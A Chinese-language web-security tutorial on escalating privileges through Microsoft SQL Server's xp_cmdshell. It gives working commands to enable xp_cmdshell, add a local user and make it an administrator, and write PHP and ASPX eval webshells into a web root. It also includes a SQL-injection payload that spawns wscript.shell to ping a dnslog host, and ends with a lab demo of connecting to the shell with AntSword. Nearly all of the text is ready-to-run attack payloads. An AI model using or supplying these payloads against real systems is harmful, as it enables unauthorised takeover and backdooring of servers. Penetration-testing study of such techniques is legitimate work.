WEB漏洞系列-MSSQL提权之xp_cmdshell
一、前言
xp_cmdshell
是 Microsoft SQL Server 中的一个系统存储过程,允许从SQL查询中执行操作系统命令。它在之前的SQL Server版本中可用,从SQL Server 2012开始被弃用。提权前提
1 | getshell 或者存在 sql 注入并且能够执行命令(sqlmap sql-shell)。 |
二、xp_cmdshell 相关命令
有了 xp_cmdshell 的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。
开启 xp_cmdshell
可在 sqlmap 获取 sql-shell 后执行命令,原理就是利用 sp_configure 进行执行命令。
1 | exec sp_configure 'show advanced options', 1;reconfigure; |
关闭 xp_cmdshell
1 | exec sp_configure 'show advanced options', 1;reconfigure; |
提权
1 | exec master..xp_cmdshell 'net user test pinohd123. /add' 添加用户test,密码test |
写入 webshell
得知网站路径后,在 sql-shell 中执行写 shell,如果执行不了,可以尝试 hex 编码绕过,下面给出两个例子
1 | EXEC master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >c:\\web\\xx.aspx' |
1 | EXEC xp_cmdshell 'echo ^<?php @eval($_POST[cmd]); ?^> >c:\\inetpub\\siteserver_install\\shell.php' |
测试 xp_cmdshell 是否能用
在注入点出尝试利用 dnslog 探测 xp_cmdshell 是否可用,执行后查看是否有回显
1 | appidname=admin';Declare+%40runshell+INT+Exec+SP_OACreate+'wscript.shell',%40runshell+out+Exec+SP_OAMeTHOD+%40runshell,'run',null,'ping+who.ydldax.dnslog.cn'%3b--+ |
三、服务器操作演示
查看 xp_cmdshell 状态,本机没有开启 xp_cmdshell
1 | 实例名右键 -> 方面 -> 外围应用配置器 |
无法执行 xp_cmdshell 命令,exec xp_cmdshell "whoami"
利用命令开启 xp_cmdshell
1 | exec sp_configure 'show advanced options', 1;reconfigure; |
利用 xp_cmdshell 成功执行命令
1 | exec xp_cmdshell "whoami" |
利用 xp_cmdshell 新建管理员账号
执行命令发现出现错误5,原因系 mssql 不是使用本地系统账号,修改配置改为本地系统账号
服务(services.msc) -> SQL server -> 本地系统账号
重新退出sql server 再次进行命令执行,执行新建用户命令成功
1 | exec xp_cmdshell 'net user xp_cmdshell Cmd123.. /add' |
添加到xp_cmdshell用户到管理员权限
1 | exec xp_cmdshell 'net localgroup administrators xp_cmdshell /add' |
写入一句话
在C:\inetpub\siteserver_install目录下有一个asp网站
不好意思搞错了,写入了php写入一句话
1 | EXEC xp_cmdshell 'echo ^<?php @eval($_POST[cmd]); ?^> >c:\\inetpub\\siteserver_install\\shell.php' |
写入aspx木马
1 | EXEC master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >c:\\inetpub\\siteserver_install\\shell23.aspx' |
利用蚁剑成功连接